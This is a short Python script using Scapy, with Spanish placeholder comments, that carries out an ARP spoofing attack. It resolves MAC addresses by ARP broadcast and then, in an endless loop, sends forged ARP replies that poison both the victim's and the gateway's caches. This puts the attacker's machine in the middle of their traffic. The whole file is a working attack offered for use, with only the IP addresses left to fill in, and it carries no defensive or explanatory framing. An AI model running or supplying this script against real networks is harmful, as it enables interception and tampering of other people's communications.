import scapy.all as scapy
import time

def get_mac(ip):
    arp_request = scapy.ARP(pdst = ip)
    broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet)

while True:
    spoof("(ip de la victima)", "(ip del gateway/router)")
    spoof("ip del gateway/router", "ip de la victima")
    time.sleep(2)